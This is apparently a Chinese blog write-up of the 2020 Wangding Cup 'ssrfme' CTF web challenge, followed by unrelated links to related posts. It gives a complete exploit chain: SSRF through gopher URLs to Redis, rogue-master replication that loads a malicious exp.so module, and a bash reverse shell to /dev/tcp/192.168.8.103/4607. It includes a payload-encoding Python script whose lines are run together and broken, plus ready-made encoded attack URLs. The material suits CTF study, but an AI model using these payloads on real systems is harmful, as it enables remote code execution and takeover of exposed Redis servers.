CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾

思路:SSRF结合redis主从复制RCE

Tip:使用DNS重绑定绕过限制

参考笔记:redis

主服务器:192.168.8.103

从服务器:192.168.8.104,redis 5.0.8(bind 0.0.0.0,关闭安全模式),centos 7(关闭防火墙)

第一步:使用脚本redis-rogue-server伪装redis主服务器:

python3 redis-rogue-server.py --server-only

第二步:在自控服务器用nc监听端口4607

第三步:攻击

首先确认在redis上要执行的命令:

config set dir /tmp/
config set dbfilename exp.so
slaveof 192.168.8.103 21000
module load /tmp/exp.so
system.exec 'bash -i >& /dev/tcp/192.168.8.103/4607 0>&1'

其次用redis_rdsp_z.py脚本转换一下命令:

python redis_resp_z.py

redis_rdsp_z.py:

#!/usr/bin/env python
# -*-coding:utf-8-*-import urllib
ip="192.168.8.104"
port="6379"
#有密码时加上下面的auth值
payload="gopher://"+ip+":"+port+"/_%2A2%0d%0a%244%0d%0aAUTH%0d%0a%247%0d%0a123.com%0D%0A"
#没密码时用下面的
#payload="gopher://"+ip+":"+port+"/_"
#命令的值中有空格就暂时先替换成${IFS},便于后面处理,如set 1 <qw er>写成set 1 <qw${IFS}er>。
cmd=["config set dir /tmp/","config set dbfilename exp.so","slaveof 192.168.8.103 21000","module load /tmp/exp.so","system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1","quit"]'''"config set dir /tmp/","config set dbfilename exp.so","slaveof 192.168.8.103 21000","quit"
''''''"module load /tmp/exp.so","system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1","quit"
'''
def tran_rdsp(x):#这是前面空格暂时先替换成${IFS}的原因。x_split = x.split(" ")#加*,因为RDSP协议中,对于array,回复的第一个字节是*。cmd=""cmd+="*"+str(len(x_split))#加$,因为RDSP协议中,对于Bulk Strings,回复的第一个字节是$,顺便再把${IFS}换回空格。for i in x_split:cmd+="\r\n"+"$"+str(len((i.replace("${IFS}"," "))))+"\r\n"+i.replace("${IFS}"," ")cmd+="\r\n"return cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(tran_rdsp(x))print payload

其三,将转换后的命令再URL编码一次:

gopher%3A%2F%2F192.168.8.104%3A6379%2F_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%25247%250d%250a123.com%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25247%250D%250Aslaveof%250D%250A%252413%250D%250A192.168.8.103%250D%250A%25245%250D%250A21000%250D%250A%252A3%250D%250A%25246%250D%250Amodule%250D%250A%25244%250D%250Aload%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252443%250D%250Abash%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.8.103%2F4607%25200%253E%25261%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

其四:攻击

第一种方式

#执行一次后,等几秒再执行一次,监听端即可收到shell。#原因是:这里将所有命令一次性发过去,第一次执行时模块未加载完,反弹shell的命令执行失败。第二次执行时模块已加载,反弹shell的命令执行成功。http://192.168.8.104:8080/index.php?url=gopher%3A%2F%2F192.168.8.104%3A6379%2F_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%25247%250d%250a123.com%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%25245%250D%250A%2Ftmp%2F%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25246%250D%250Aexp.so%250D%250A%252A3%250D%250A%25247%250D%250Aslaveof%250D%250A%252413%250D%250A192.168.8.103%250D%250A%25245%250D%250A21000%250D%250A%252A3%250D%250A%25246%250D%250Amodule%250D%250A%25244%250D%250Aload%250D%250A%252411%250D%250A%2Ftmp%2Fexp.so%250D%250A%252A2%250D%250A%252411%250D%250Asystem.exec%250D%250A%252443%250D%250Abash%2520-i%2520%253E%2526%2520%2Fdev%2Ftcp%2F192.168.8.103%2F4607%25200%253E%25261%250D%250A%252A1%250D%250A%25244%250D%250Aquit%250D%250A

第二种方式

空格都用%2520替换,换行都用%250d%250a替换。依次执行下面三句即可执行命令:

http://192.168.8.104:8080/index.php?url=gopher://127.0.0.1:6379/_auth%2520123.com%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquithttp://192.168.8.104:8080/index.php?url=gopher://127.0.0.1:6379/_auth%2520123.com%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.8.103%252021000%250d%250aquithttp://192.168.8.104:8080/index.php?url=gopher://127.0.0.1:6379/_auth%2520123.com%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.exec%2520id%250d%250aquit#第三句中,system.exec id等可以执行,system.exec bash -i >& /dev/tcp/192.168.8.103/4607 0>&1执行失败;且system.rev报错无命令。

CTF-2020网鼎杯-玄武组-web题-ssrfme知识回顾相关推荐

  1. 2020网鼎杯玄武组部分题writeup(签到/vulcrack/java/js_on)

    签到题 思路 浏览器F12,调取ajax,输入队伍token,获取flag 过程 (1)浏览器进入F12查看js,看到game_manage.js这个js,看名字像是控制游戏的 (2)进入js,通过搜 ...

  2. 2020网鼎杯玄武组re baby_vm复盘

    baby_vm 0x00 前言 这是一道来自2020网鼎杯玄武组的逆向题,题目的重难点在分析vm流程.这届比赛我没有参加,看到 一些博客都在分析这道题目,于是在闲暇时间复盘学习一下. 0x01分析 首 ...

  3. 网鼎杯青龙组 web题-AreUSerialz

    //复现地址:https://buuoj.cn/challenges //开启环境后获得源码一份. <?phpinclude("flag.php");highlight_fi ...

  4. [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp

    [re]符号执行一把梭:2020网鼎杯青龙组re_signal_wp 这道题是2020网鼎杯青龙组的一道逆向提signal,一道虚拟机逆向题目,题目本身不难,可以直接分析也可以符号执行秒掉. 题目分析 ...

  5. [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp

    [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglement wp 文章目录 [pwn]星号格式化串:2020网鼎杯白虎组pwn quantum_entanglemen ...

  6. 2020网鼎杯青龙组部分题目writeup

    2020网鼎杯青龙组部分题目writeup 0x00 Crypto之boom 0x00 Crypto之boom 下载下来是个exe文件,拖到cmd运行(切记一定不要双击,用cmd打开,双击运行后最后程 ...

  7. 网鼎杯玄武组部分web题解

    本文涉及知识点靶场练习:SSRF漏洞进阶实践-攻击内网Redis:通过gopher协议攻击Redis,如果内网中的Redis存在未授权访问漏洞,当Redis服务以root权限运行时,利用gopher协 ...

  8. 2020网鼎杯青龙组部分题目WP

    0x00 Crypto之boom 下载下来是个exe文件,拖到cmd运行(切记一定不要双击,用cmd打开) 找个md5网站解密,得到明文 输入后得到一个方程组,解方程组(找个就不用说了,初中知识) 输 ...

  9. 2020网鼎杯(青龙组)--WEB--AreUSerialz(反序列化)

    2020网鼎杯(青龙组)–WEB–AreUSerialz(反序列化) 反序列化好像要开窍了 <?phpinclude("flag.php"); 我们要找的flag应该在这里h ...

最新文章

  1. [CTO札记]架构的改造是个持续、全面、螺旋的过程
  2. confluence mysql 中文乱码_解决confluence的乱码问题
  3. 如何正确强制执行Git推送?
  4. CentOS进不了mysql
  5. spring融合activitymq-all启动报错的解决办法
  6. 如何只使用标签来构建一个简单的电影推荐系统
  7. FreeMarker中assign指令的用法
  8. python标注工具_Python labelImg 图像标注工具安装及使用教程windows版(亲测有效)
  9. 3GPP定义的IMSnbsp;ECT业务与Conf…
  10. Thrift的安装和简单示例
  11. C语言实现的RSA算法程序(使用GMP)
  12. 设计模式(7)——适配器模式
  13. 支持!解决卡巴斯基程序错误及程序断开的问题!
  14. Bitwise AND of Numbers Range
  15. 微信小程序发送验证码短信SDK及文档
  16. ICPC 2015 北京 Today Is a Rainy Day
  17. [部署系列之一]轻松搞定水晶报表9.2打包
  18. 多边形最小外接矩形 旋转卡壳
  19. 使用Pandas读取CSV文件:sep操作
  20. 个人开发者实现微信扫码登录

热门文章

  1. Linux运行时I/O设备的电源管理框架
  2. 计算机毕业设计看这篇就够了(一)毕设目的
  3. FFMPEG录屏(13)---- WGC 捕获桌面(一) 改造官网Demo
  4. 从移动硬盘或U盘安装苹果笔记本电脑MacOS系统或叫解决安装MacOS系统时“准备安装时发生错误,请尝试重新运行此应用程序”的问题
  5. vi/vim常用命令 zz
  6. 交换链路聚合、堆叠、集群技术(HCIA)
  7. Python实现简单的智能回答
  8. wavecom java_使用java操作wavecom短信猫来发短信的方法
  9. Go 每日一库之 mapstructure
  10. 解决IE应用程序错误问题